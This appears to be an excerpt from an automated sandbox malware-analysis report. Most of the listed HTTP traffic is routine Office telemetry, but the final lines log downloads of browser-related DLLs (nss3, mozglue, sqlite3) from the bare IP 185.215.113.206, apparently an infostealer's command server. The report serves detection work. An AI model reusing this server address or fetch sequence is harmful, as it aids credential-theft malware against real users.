Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAAAWUx?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/AAtK5aP?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /tenant/amp/entityid/BB18CMuA?w=168&h=168&q=60&m=6&f=jpg&u=t HTTP/1.1Host: img-s-msn-com.akamaized.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47Accept: /Origin: https://ntp.msn.comSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=LAoL9oevRfGSUy3&MD=onyxB49Z HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: d8e3ab56-efeb-42c4-8faf-b345cb6f4124.tmp.9.dr	String found in binary or memory: "url": "https://www.youtube.com" equals www.youtube.com (Youtube)
Source: 000003.log7.9.dr	String found in binary or memory: "www.facebook.com": "{\"Tier1\": [1103, 6061], \"Tier2\": [5445, 1780, 8220]}", equals www.facebook.com (Facebook)
Source: 000003.log7.9.dr	String found in binary or memory: "www.linkedin.com": "{\"Tier1\": [1103, 214, 6061], \"Tier2\": [2771, 9515, 1780, 1303, 1099, 6081, 5581, 9396]}", equals www.linkedin.com (Linkedin)
Source: 000003.log7.9.dr	String found in binary or memory: "www.youtube.com": "{\"Tier1\": [983, 6061, 1103], \"Tier2\": [2413, 8118, 1720, 5007]}", equals www.youtube.com (Youtube)
